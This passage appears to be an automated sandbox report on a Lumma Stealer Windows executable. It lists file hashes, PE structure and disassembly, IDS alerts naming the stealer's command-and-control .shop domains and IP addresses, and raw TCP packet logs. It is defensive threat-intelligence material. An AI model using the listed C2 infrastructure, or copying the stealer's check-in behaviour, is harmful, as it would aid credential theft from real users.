	HHXyi02DYl.exe	Get hash	malicious	LummaC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139
	bYQ9uTqLzz.exe	Get hash	malicious	LummaC	Browse	104.21.4.136 172.67.189.2 188.114.97.3 172.67.162.108 188.114.96.3 104.102.49.254 172.67.208.139

Process:	C:\Users\user\Desktop\3ZD5tEC5DH.exe
File Type:	CSV text
Category:	modified
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

\Device\ConDrv

Download File

Process:	C:\Users\user\Desktop\3ZD5tEC5DH.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	2.2845972159140855
Encrypted:	false
SSDEEP:	3:i6vvRyMivvRya:iKvHivD
MD5:	45B4C82B8041BF0F9CCED0D6A18D151A
SHA1:	B4DAD3FFFEF507CBB78671EE620BB495F8CE22F1
SHA-256:	7CFA461ED1FC8611AB74878EDB1FBBDE3596F5D042946A42A7F31EB6D462E628
SHA-512:	B29C3696A8A311EFAF9B9709BA082FF2C8D45A6912D79BC1DE7FEEFBEF8F8DDEFCD6650B5E1165D0A79800C8AED399E2B11BC2431E3837DD8587516BDE50EAB5
Malicious:	false
Reputation:	low
Preview:	0..1..2..3..4..0..1..2..3..4.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.989600940155032
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	3ZD5tEC5DH.exe
File size:	374'784 bytes
MD5:	149131a90f99225e6c7e28a06164dd9a
SHA1:	f9d0e7ae3bed79498bf4da92c0ef9568d4e5595e
SHA256:	6b176bab868dc372496ab3c6ce97518d276c17143f77ae15c992970c1efdf21f
SHA512:	d6f611d974402adba0548c6f15527f2d7f45e2e5a3466ff2d1b93fcd9eb5ae22a96468e8d4c8d428167a0801f2e1f4a702384878a4fec230f79529ba975b309a
SSDEEP:	6144:+aiiJ6qfl9snkFV8FDU+CEMltZVMUwMDp8Aj/TmbGIenjfa9ckFuzyNQhsqayCcp:+aiiJjynkFVnTzl0Aj/TmbNenLnSQhsq
TLSH:	8F84235093E1168BD2242A324C87129D83E3FE74F0CE5FE5A365EA376EEE70410D975A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....c.f................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x45ccee
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F463BB [Wed Sep 25 19:25:47 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5cc94	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5e000	0x5b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5cb5c	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5acf4	0x5ae00	b78669443bdf65ef8228d4a29be393ff	False	0.9938585367950481	data	7.995705798028068	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x5e000	0x5b8	0x600	e0c57c891752f78d44441c65570fe51e	False	0.4381510416666667	data	4.119761219082767	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x60000	0xc	0x200	93175a635d4731115c9b1e1c282e8f9e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x5e0a0	0x324	data			0.4552238805970149
RT_MANIFEST	0x5e3c8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-26T09:58:36.812587+0200	2056048	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lootebarrkeyn .shop)	1	192.168.2.6	52018	1.1.1.1	53	UDP
2024-09-26T09:58:36.830747+0200	2056164	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (gutterydhowi .shop)	1	192.168.2.6	59886	1.1.1.1	53	UDP
2024-09-26T09:58:37.420292+0200	2056165	ET MALWARE Observed Win32/Lumma Stealer Related Domain (gutterydhowi .shop in TLS SNI)	1	192.168.2.6	49710	104.21.4.136	443	TCP
2024-09-26T09:58:37.940927+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49710	104.21.4.136	443	TCP
2024-09-26T09:58:37.940927+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49710	104.21.4.136	443	TCP
2024-09-26T09:58:37.948460+0200	2056162	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ghostreedmnu .shop)	1	192.168.2.6	62281	1.1.1.1	53	UDP
2024-09-26T09:58:38.424964+0200	2056163	ET MALWARE Observed Win32/Lumma Stealer Related Domain (ghostreedmnu .shop in TLS SNI)	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-09-26T09:58:38.867301+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-09-26T09:58:38.867301+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49711	188.114.97.3	443	TCP
2024-09-26T09:58:38.871156+0200	2056160	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (offensivedzvju .shop)	1	192.168.2.6	63504	1.1.1.1	53	UDP
2024-09-26T09:58:39.502747+0200	2056161	ET MALWARE Observed Win32/Lumma Stealer Related Domain (offensivedzvju .shop in TLS SNI)	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-09-26T09:58:39.963391+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-09-26T09:58:39.963391+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49713	188.114.96.3	443	TCP
2024-09-26T09:58:39.967673+0200	2056158	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (vozmeatillu .shop)	1	192.168.2.6	50739	1.1.1.1	53	UDP
2024-09-26T09:58:40.443849+0200	2056159	ET MALWARE Observed Win32/Lumma Stealer Related Domain (vozmeatillu .shop in TLS SNI)	1	192.168.2.6	49714	188.114.96.3	443	TCP
2024-09-26T09:58:40.955377+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49714	188.114.96.3	443	TCP
2024-09-26T09:58:40.955377+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	188.114.96.3	443	TCP
2024-09-26T09:58:40.957085+0200	2056156	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop)	1	192.168.2.6	58108	1.1.1.1	53	UDP
2024-09-26T09:58:41.445111+0200	2056157	ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI)	1	192.168.2.6	49715	172.67.162.108	443	TCP
2024-09-26T09:58:41.923134+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49715	172.67.162.108	443	TCP
2024-09-26T09:58:41.923134+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49715	172.67.162.108	443	TCP
2024-09-26T09:58:41.924937+0200	2056154	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fragnantbui .shop)	1	192.168.2.6	65346	1.1.1.1	53	UDP
2024-09-26T09:58:42.419788+0200	2056155	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fragnantbui .shop in TLS SNI)	1	192.168.2.6	49716	188.114.96.3	443	TCP
2024-09-26T09:58:42.899946+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49716	188.114.96.3	443	TCP
2024-09-26T09:58:42.899946+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49716	188.114.96.3	443	TCP
2024-09-26T09:58:42.902228+0200	2056152	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (stogeneratmns .shop)	1	192.168.2.6	65127	1.1.1.1	53	UDP
2024-09-26T09:58:43.400411+0200	2056153	ET MALWARE Observed Win32/Lumma Stealer Related Domain (stogeneratmns .shop in TLS SNI)	1	192.168.2.6	49717	188.114.96.3	443	TCP
2024-09-26T09:58:43.844049+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49717	188.114.96.3	443	TCP
2024-09-26T09:58:43.844049+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49717	188.114.96.3	443	TCP
2024-09-26T09:58:43.845719+0200	2056150	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (reinforcenh .shop)	1	192.168.2.6	55477	1.1.1.1	53	UDP
2024-09-26T09:58:44.319186+0200	2056151	ET MALWARE Observed Win32/Lumma Stealer Related Domain (reinforcenh .shop in TLS SNI)	1	192.168.2.6	49718	172.67.208.139	443	TCP
2024-09-26T09:58:44.808684+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49718	172.67.208.139	443	TCP
2024-09-26T09:58:44.808684+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49718	172.67.208.139	443	TCP
2024-09-26T09:58:47.045311+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49720	172.67.189.2	443	TCP
2024-09-26T09:58:47.045311+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49720	172.67.189.2	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:58:36.849387884 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:36.849456072 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:36.849543095 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:36.873667955 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:36.873712063 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.420162916 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.420291901 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.424108982 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.424139977 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.424410105 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.478691101 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.500996113 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.500996113 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.501169920 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.940941095 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.941045046 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.941133976 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.943594933 CEST	49710	443	192.168.2.6	104.21.4.136
Sep 26, 2024 09:58:37.943659067 CEST	443	49710	104.21.4.136	192.168.2.6
Sep 26, 2024 09:58:37.963782072 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:37.963818073 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:37.963903904 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:37.964637041 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:37.964647055 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.424792051 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.424963951 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.439033031 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.439075947 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.439420938 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.440654039 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.440707922 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.440752983 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.867326975 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.867429972 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.867517948 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.867711067 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.867733955 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.867747068 CEST	49711	443	192.168.2.6	188.114.97.3
Sep 26, 2024 09:58:38.867753983 CEST	443	49711	188.114.97.3	192.168.2.6
Sep 26, 2024 09:58:38.887285948 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:38.887335062 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:38.887397051 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:38.889820099 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:38.889837027 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.502541065 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.502747059 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.504498959 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.504511118 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.504760981 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.506138086 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.506158113 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.506220102 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.963419914 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.963551998 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.963643074 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.963872910 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.963900089 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.963920116 CEST	49713	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.963927031 CEST	443	49713	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.982302904 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.982367039 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:39.982440948 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.983043909 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:39.983062029 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.443552017 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.443849087 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.445590973 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.445621967 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.445899010 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.447316885 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.447360992 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.447407961 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.955430984 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.955538988 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.955607891 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.955784082 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.955810070 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.955825090 CEST	49714	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:40.955831051 CEST	443	49714	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:40.979926109 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:40.979979038 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:40.980057955 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:40.980416059 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:40.980437040 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.444890022 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.445111036 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.459846973 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.459888935 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.460275888 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.472843885 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.475655079 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.475692034 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.923167944 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.923300028 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.923376083 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.923573971 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.923590899 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.923612118 CEST	49715	443	192.168.2.6	172.67.162.108
Sep 26, 2024 09:58:41.923618078 CEST	443	49715	172.67.162.108	192.168.2.6
Sep 26, 2024 09:58:41.939810038 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:41.939866066 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:41.939959049 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:41.940361023 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:41.940378904 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.419709921 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.419787884 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.429162025 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.429184914 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.429452896 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.430577993 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.430608034 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.430659056 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.899972916 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.900079966 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.900175095 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.900412083 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.900460005 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.900490046 CEST	49716	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.900506973 CEST	443	49716	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.918766022 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.918833017 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:42.918912888 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.919437885 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:42.919449091 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.400226116 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.400410891 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.402456045 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.402473927 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.402793884 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.404257059 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.404294014 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.404361010 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.844053984 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.844160080 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.844253063 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.844546080 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.844546080 CEST	49717	443	192.168.2.6	188.114.96.3
Sep 26, 2024 09:58:43.844567060 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.844578028 CEST	443	49717	188.114.96.3	192.168.2.6
Sep 26, 2024 09:58:43.858867884 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:43.858923912 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:43.859020948 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:43.859379053 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:43.859401941 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.319098949 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.319185972 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.333034992 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.333059072 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.333312035 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.345961094 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.345982075 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.346097946 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.808388948 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.808480024 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.808613062 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.808640003 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.808655977 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.808670044 CEST	49718	443	192.168.2.6	172.67.208.139
Sep 26, 2024 09:58:44.808675051 CEST	443	49718	172.67.208.139	192.168.2.6
Sep 26, 2024 09:58:44.817842007 CEST	49719	443	192.168.2.6	104.102.49.254
Sep 26, 2024 09:58:44.817914009 CEST	443	49719	104.102.49.254	192.168.2.6
